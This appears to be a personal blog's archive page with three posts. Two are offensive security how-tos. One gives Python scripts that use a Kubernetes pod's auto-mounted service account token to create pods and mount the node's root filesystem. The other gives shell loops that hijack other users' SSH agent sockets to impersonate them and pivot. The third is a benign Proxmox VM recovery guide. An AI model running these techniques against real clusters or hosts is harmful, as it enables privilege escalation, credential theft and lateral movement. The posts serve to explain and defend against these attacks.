Category Archives: Lessons Learned

Abuse Kubernetes with the AutomountServiceAccountToken

Posted on by

While I was recently practicing to take my Certified Kuberenetes Administrator (CKA) exam, I ran across an interesting default option called automountServiceAccountToken. This option, automatically mounts the service account token, within each container of a given pod. This account token is meant to provide the pod the ability to interact with the Kubernetes API server. This option being enabled by default, creates a great way for attackers with access to a single container, to abuse Kubernetes with the Automount Service Account token.

What is the Service Account Token?

Within Kubernetes, even a pod with only a single container must have a service account within its specifications. This is because the service account dictates permissions and is used to run a pods processes. By default, if a service account isn’t provided during the creation of the pod, then the “default” service account for the pods namespace is added automatically. Without a different service account being automatically created within each namespace and added to each pod spec, there wouldn’t be any real resource/process separation happening between different namespaces.

How does automountServiceAccountToken work?

When a namespace is created within Kubernetes the kube-controller-manager uses the serviceaccount-controller and the token-controller to make sure the service account called “default” exists with a valid API Bearer token. When a pod is created within the new namespace, the admission controller then checks the pod spec for a valid service account and adds the “default” service account if one doesn’t exist. If the “automountServiceAccountToken” option isn’t explicitly set to false within either the pod spec or service account spec, then the admission controller will also add a volume mount for the service account token, to each container within the pod spec. This results in the namespaced secret for the service account token being mounted directly to “/var/run/secrets/kubernetes.io/serviceaccount” within every running container by default.

Why is the AutomountServiceAccountToken bad?

Since the permissions are assigned to a service account and all pod processes are run as the service account, effectively all pods within a given namespace operate at the same level. So when the service account token mount was added to provide better access to the Kubernetes API server, there wasn’t much need to disable it by default. Additionally, some popular tooling have utilized the service account token to communicate with Kubernetes and as such it may be required in order to meet compatibility requirements.

However, this token becomes problematic if an attacker gains access to a container via some other exploit. This is further compounded by the fact that the default service account permissions are effectively read-write within the namespace and global read for most resource types. So with a simple script or even curl commands we can abuse Kubernetes with the automount service account token.

How to Abuse AutomountServiceAccountToken

I could probably write a whole post around the topic of interacting with the Kubernetes API, but lucky almost all major programing languages already have Kubernetes client libraries. In my case, I often write in python and the python client library can handle loading a containers service account token. With that token we can utilize simple function calls like within the following example to create and even delete our own pods.

from kubernetes import client, config
import time

# Load the containers local service account token
config.load_incluster_config()

# get the current namespace from automount for ease of use :)
current_namespace = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace").read()

# Establish the core API object to interact with
v1=client.CoreV1Api()

# create a basic pod manifest
pod_manifest = {
            'apiVersion': 'v1',
            'kind': 'Pod',
            'metadata': {
                'name': 'busybox'
            },
            'spec': {
                'containers': [{
                    'image': 'busybox',
                    'name': 'sleep',
                    "args": [
                        "/bin/sh",
                        "-c", 
                        "while true;do python -c '<Shell code>';sleep 5; done"
                    ]
                }]
            }
        }

print("Listing all pods within the current namespace, before trying to add a pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

print("Trying to deploy a new pod with our custom pod manifest")
v1.create_namespaced_pod(namespace=current_namespace, body=pod_manifest)

time.sleep(10)
print("Listing all pods within the current namespace, after trying to add a busybox pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

print("Trying to delete the  busybox pod we just created")
v1.delete_namespaced_pod(name="busybox", namespace=current_namespace, body=client.V1DeleteOptions())

time.sleep(10)
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

Using service account token to escalate privilege with node root volume

Since by default there are not any pod security polices to restrict the ability to mount a nodes local root filesystem. We can try to leverage the service account token within a compromised container to create a new pod with a volume which mounts the nodes root filesystem with a similar script.

from kubernetes import client, config
import time

config.load_incluster_config()
from kubernetes import client, config
import time

# Load the containers local service account token
config.load_incluster_config()

# get the current namespace from automount for ease of use :)
current_namespace = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace").read()

# Establish the core API object to interact with
v1=client.CoreV1Api()

# create a basic pod manifest
pod_manifest = {
            'apiVersion': 'v1',
            'kind': 'Pod',
            'metadata': {
                'name': 'support'
            },
            'spec': {
                'containers': [{
                    'image': 'busybox',
                    'name': 'sleep',
                    "args": [
                        "/bin/sh",
                        "-c",
                        "while true;do python -c '<Shell code>';sleep 5; done"
                    ],
					'volumeMounts': [{
                        'name': 'host',
                        'mountPath': '/host'
                    }]
                }],
                'volumes': [{
                    'name': 'host',
                    'hostPath': {
                        'path': '/',
                        'type': 'Directory'
                    }
                }]
            }
        }

print("Listing all pods within the current namespace, before trying to add a pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

print("Trying to deploy a new pod with our custom comand")
v1.create_namespaced_pod(namespace=current_namespace,body=pod_manifest)

time.sleep(10)
print("Listing all pods within the current namespace, after trying to add a busybox pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

You can also use the node selector and label like “kubernetes.io/hostname” to try and get the new pod to spin up on a higher value control plane node.

With access to a pod container with the nodes root filesystem mounted, normal file and credential pillaging can take place. Also easier persistence methods can be used with write access, like adding a crontab or my recent post on leveraging controlled failure of systemd services, to gain a foot hold on the Kubernetes control plane.

How to Fix AutomountServiceAccountToken Issues?

Based on the official issue #57601, opened in late 2017. This issue is unlikely to be addressed until API v2 is available, because it’s currently required for backwards compatibility. That being said, this issue can still be addresses manually by setting “automountServiceAccountToken: false” on the “default” service account for each namespace and/or creating an Initializer to inject a custom service account upon pod creation. The only other option would be to patch a change to the admission controller, but that would risk issues with compatibility and break future upgrades.

Leverage SSH Agents to Move Across the Network

Posted on by

Accessing a production system in a Linux environment these days often requires a lot of ssh tunneling in order to get access to restricted systems. This is because it doesn’t make sense to publicly expose SSH to the internet or even your general-use, internal network. Instead there might be a bastion or jump box with ssh exposed as your initial way into the environment. Once connecting to the bastion host successfully you can then connect to another system within that restricted network or maybe even repeat the process to gain access to even more restricted hosts.

In order to handle authentication across multiple systems users leverage ssh agents. An SSH agent is effectively a helper program which stores unencrypted identity keys and credentials in memory. This allows for the SSH client to access these credentials via a Unix stream stock. The socket makes it so the end user doesn’t have to provide their credentials multiple times. The user can also request the SSH client retains access to the socket, when connecting to another system, by enabling agent-forwarding with the -A flag.

With SSH agent-forwarding enabled, the SSH client essentially creates a linked copy of the stream socket on the remote system. By default the socket is created in the /tmp directory in a folder named ssh-<10 random characters>, with the socket named agent.<agent pid>. The ssh agent folder is only granted privileges to the connecting user account. To see what agents are around on a given machine you can look through the /tmp directory with a command similar to:

ls /tmp -l | egrep 'ssh-.{10}$'

Finding SSH Agents

Since agent sockets are stored in /tmp and the reference to which agent to use is controled entirely by the value in the SSH_AUTH_SOCK environment variable. The root account, superusers, and possibly sudoers can change their environment variable to the socket of another connected user and effectively masquerade as them on the network. In fact you would even have accesses to any of the other keys the user added to the agent. Given you have access to a shared systems root account, you could use commands like the following to impersonate the user and view a list of registered keys.

ls /tmp| egrep 'ssh-.{10}$' # list the agent sockets that may be available
export SSH_AUTH_SOCK=/tmp/'ssh-.{10}$'/agent.<pid> # choose one and set appropriate values as you SSH_AUTH_SOCK environment variable
ssh-add -l # list all credentials available to the agent

The commands could even all be combined into a single loop like the one bellow. However, the ability to query and leverage the credentials is dependent on a stable connection from the target user. Stale agents can hang, because the socket cleanup process doesn’t necessarily happen once a session is closed.

for AGENT in $(ls /tmp| egrep 'ssh-.{10}$'); do export SSH_AUTH_SOCK=/tmp/$AGENT/$(ls /tmp/$AGENT);echo $AGENT $(stat -c '%U' /tmp/$AGENT);timeout 10 ssh-add -l;done;

Note: A lot of common programs like git, rsync, scp, etc also allow you yo leverage SSH agents. So if a given agent doesn’t get you access to another system, also be sure to try and use it to authenticate against common services.

Impersonating users and pivoting

Once you have an agent you want to leverage, just set it as the SSH_AUTH_SOCK environment variable. Then use it to try and log into other systems or services as the targeted user. Its also worth mentioning that you also be able to leverage the ssh agent and port forwarding to gain access to otherwise restricted system. I’ve created a somewhat related post about leveraging port forwarding in a previous post.

Always run commands like w or who to see where the user is connecting from. Then use that IP address to try and connect back to the users origin system. Most of the time, the users public key is added to their own systems authorized_keys file for ease of access.

This issue is most often seen in development environments, where users traditionally have elevated system access. These systems are also not as well defended or updated as often as production systems. That coupled with the fact that most of the time users don’t maintain account separation between development and production environments, makes it prime to leverage ssh agents.

Recovering Proxmox VMs from Encrypted Raid Array

Posted on by

Initial Thoughts: Blog Reboot

It has been a few years since this Blog has been active, or frankly seen the light of day, beyond some web caches I enabled awhile back. The biggest reason for the blog phasing out, was the first server I ever built (back in 2010) having a failing mother board shortly after the birth of our first child. Now, shortly after the birth of our second child and with the abundance of free time this crisis has awarded us all, I’ve decided to give the blog and my good old Proxmox server a reboot.

Recovering Raid Array

Now since I didn’t have the original working hardware and I didn’t retain good VM backups, I had to recover the VMs from just the encrypted drives. That meant the first step to beginning this journey of recovering Proxmox VMs, was dealing with an encrypted raid 1 storage array.

To begin this recovery process I simply put the two ”high-end” 120 GB SSD drives, in the new server I built to run the latest version of Proxmox. Next we need to boot up the server and use mdadm to examine the drives to identify the raid format.

lsblk # to list all the current block devices

mdadm -E /dev/sd[c-d] #use mdadm to examine

Then we can use mdadm to re-assemble the raid. In this case, since the the drives are mirrors it likely doesn’t matter, but for some individuals this will likely be a required step in order to complete a full recovery. 

mdadm --assemble /dev/md1 /dev/sd[c-d]1 # use mdadm to re-assemble
# the raid as md1

Decrypting LVM Structure

Next we need to decrypt the raid drive so we can access the logical volumes and mount them to begin recovering Proxmox VMs from the encrypted file system.

cryptsetup luksOpen /dev/md1 encrypted_pve # Open the luks encrytped device

Now that the the encrypted device has been opened and mounted as the device encrypted_pve. We can now access the volume group within the encrypted partition with standard LVM commands.

vgdisplay --short # for instance just viewing the volume group

Now if your somewhat lazy like me and doing all of this work on the a new installation of Proxmox. Your likely going to start having a bad time and encounter issues because by default, Proxmox wants its primary volume group to be named ‘pve’ and now there are two different ones with the same name. In order to avoid confusion going forward and stop our new Proxmox server from crashing, we should rename the old ‘pve’ volume group to something else.

vgdisplay | egrep -i "uuid|name|VG size" # use vgdisplay to 
# find the UUID of the VG

vgrename QiOPy3-WhF8-RYns-44dY-FKKN-8orV-bEi3m3 pve-old # use vgrename
# to simply rename the VG using the appropriate UUID

vgscan  # lastly we can use vgscan to reload all the vgs as a 
# sanity check

Recovering Proxmox VMs Config files

Now that we have access to the original LVM structure we can go about recovering VMs from the file system. To start this process we should mount the two logical volumes Proxmox has by default. These two would be the root and data logical on our old ‘pve’ volume group.

mkdir /mnt/old-data /mnt/old-root #create directories to mount
# logical volumes

mount /dev/mapper/pve--old-root /mnt/old-root # mount old pve root

mount/dev/mapper/pve--old-data /mnt/old-data # mount old pve data

Here is the point where things diverge a bit depending on what version of your recovering from and how your VMs where originally setup. Regardless there are really only two components to a given VM in the Proxmox world, a config file and a disk image.

To recover the VM config files in newer versions of Proxmox you would just go into the /mnt/old-root/etc/pve/qemu-server/ directory. There you would likely see a bunch of VM configuration file named after the VM ID number. Generally speaking you should be able to copy these configs over to your new Proxmox server without too much of an issue.

cd /mnt/old-root/etc/pve/qemu-server/ # go to the mounted config 
# directory

cp 100.conf /etc/pve/qemu-server/

However, if your like me and you are looking around for these VMID.conf files and they aren’t on the old root filesystem. That’s because in older versions Proxmox the VM configs were stored in a sqlite database. Instead we can use the sqlite3 command on the pve-cluster config database in order to view all the VM config files and extract the ones we want directly to workable config files.

sqlite3 /mnt/old-root/var/lib/pve-cluster/config.db \
'SELECT * FROM tree;' # use sqlite3 to view all of the 
# config data in the cluster config database

sqlite3 /mnt/old-root/var/lib/pve-cluster/config.db \
'SELECT data FROM tree WHERE name = "100.conf";' \
> /etc/pve/qemu-server/100.conf 
# use a sql query to extract just the config file data 
# we need and write it to the appropriate file/code>

Recovering Proxmox VMs Raw Disks and Disk Images

When it comes to VM disk images they can be either raw, meaning they are logical volumes provisioned within a volume group using LVM or disk image files like qcow2's. Regardless of which type of VM disk image or if like me and had both. The path forward is basically the same, just copy it over to appropriate place on the never server.

In the case of raw disks, all we really need to do is copy the logical volume that was provisioned in the old volume group over to the new volume group. To do this we need to create a new logical volume on the the new volume group with the same size and name. Then use dd to copy over the raw data from the old logical volume to the new one.

lsblk # look at all our physical and logical devices to
# make sure we use the right devices

lvcreate -n vm-100-disk-1 -L 10G pve # Create the new logical 
# volume with the same name and size

# dd if=/dev/pve-old/vm-100-disk-1 bs=4096 of=/dev/pve/vm-100-disk-1 
# Use dd to complete a bit by bit copy of the LV data, ! Caution !

If you need to deal with the VM disk files, its pretty straight forward as well. Just go into the old-data directory we mounted and copy the disk image files over to the new storage location. These can be a various formats like qcow2 or vmdk, but the process is the same. 

mkdir /var/lib/vz/images/100 # create the folder for your VM

cp /mnt/old-data/images/100/vm-100-disk-1.qcow2  \
/var/lib/vz/images/100/vm-100-disk-1.qcow2 
# copy over the disk image to appropriate local folder

Getting VMs to Boot

At this point Proxmox should have seen the VM configuration files added to the local nodes configuration directory and it should be visible in web UI and/or qm at the command line. The very last step in recovering Proxmox VMs is making sure your VM configuration is correct so it can boot up. I could probably do research and a whole blog post on this topic alone. So its kind of difficult to provide detailed examples of what could be wrong with a given configuration file. Since the configuration files are from working VMs, most likely issues are either device statements or the boot order.

The boot order can be forced with the bootdisk option, to a given device, such as ide0. Devices are registered in the config file as device statements like 'ide0: local:vm-100-disk-1'. Make sure your device statements are correct and your cdrom is empty such as 'ide2: none,media=cdrom' to avoid boot issues. For other errors make be sure review the documentation or ask in the comments bellow.